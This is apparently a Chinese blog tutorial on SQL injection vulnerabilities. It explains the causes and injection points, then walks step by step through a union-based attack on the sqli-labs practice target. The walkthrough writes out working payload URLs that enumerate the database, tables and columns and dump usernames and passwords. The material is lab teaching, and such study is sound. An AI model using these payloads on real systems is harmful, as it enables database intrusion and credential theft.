• 网络安全——SQL注入漏洞


    一、SQL注入概述

    1、SQL注入漏洞

           攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。

    2、SQL注入原理

          服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当中SQL语句执行,攻击者从而获得数据库中的数据,影响数据库安全和平台安全

    实现SQL注入的两个条件:

    用户能够控制输入

    原本程序要执行的SQL语句,拼接了用户输入的恶意数据

    3、SQL注入过程

     4、SQL注入带来的危害

    5、SQL注入示例

     

     --空格是注释的意思,注释掉后面的语句

    二、SQL注入分类

    1、按照注入点类型分类

    (1)数字型(整型)注入

     例:sqli-labs的第一关,使用火狐浏览器的hackbar

     

     在靶机地址后加?id=8 and 1=2,没有反应

    (2)字符型注入

     字符串注入测试方法

     

    (3)搜索型注入

    2、按照注入技术(执行效果)分类

    三、SQL注入漏洞形成的原因

    1、动态字符串构建引起

     2、后台存在的问题

    后台无过滤或者编码用户数据

    数据库可以拼接用户传递的恶意代码

    3、错误处理不当

    详细的内部错误信息显示给用户或者攻击者

    错误信息可以直接给攻击者提供下一步攻击帮助

    4、不安全的数据库配置

    四、寻找SQL注入点

    1、GET方法

    一种请求服务器的HTTP方法,使用该方法时,信息包含在URL中

    点击一个链接时,一般会使用该方法

     2、POST方法

    POST是一种向Web服务器发送信息的HTTP方法,数据无法在URL中看到,可以抓包,也可以用Hackbar中的POST,POST可以发送字节大的数据

     3、其他注入点

    Cookie、Host、User-Agent

    4、关于注入点的总结

    只要后台接收前台输入的数据,而且没有对数据进行过滤,最后直接进入到数据库,从而构成威胁

    五、SQL注入过程

    1、手工注入

     利用sqli-labs靶机的第二关

    (1)判断是否存在注入点

     

     

     (2)、判断字段长度(也就是表中数据有多少列)

    利用order by 语法,如下图,为什么-- 后面不是空格,是+呢,因为用+代替空格,以免空格被后面隐藏的固定语句吃掉,使--不起作用

     

     

     

     到了4就报错,说明有3个字段

    (3)、判断字段回显位置

    由上一步我们知道有3个字段,我们可以利用union语法,如下图

    and 1=2 是与条件,使前面的语句失效,执行union后面的查询,从而判断出回显位置

    http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3--+

    (4)判断数据库信息和查询数据库名

    http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,database()--+

     (5)查询数据表

    http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

    (6)查找数据库表中所有字段以及字段值

    http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

     

     (7)猜解账号密码

    http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

     

     

    以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。


    这篇文章就写到这里了!

     

  • 相关阅读:
    【好玩】如何在github主页放一条贪吃蛇
    计算机网络 第三章数据链路层
    layuiAPI
    利用FinalShell访问虚拟机
    题目1444:蓝桥杯201 4年第五届真题斐波那契
    【iOS】—— 深入了解GCD
    MybatisPlus为什么可以不用@MapperScan
    MindManager22全新版思维导图软件工具
    c++类和对象实现日期的相关操作
    微机原理——汇编指令(上部)
  • 原文地址:https://blog.csdn.net/weixin_54055099/article/details/126740897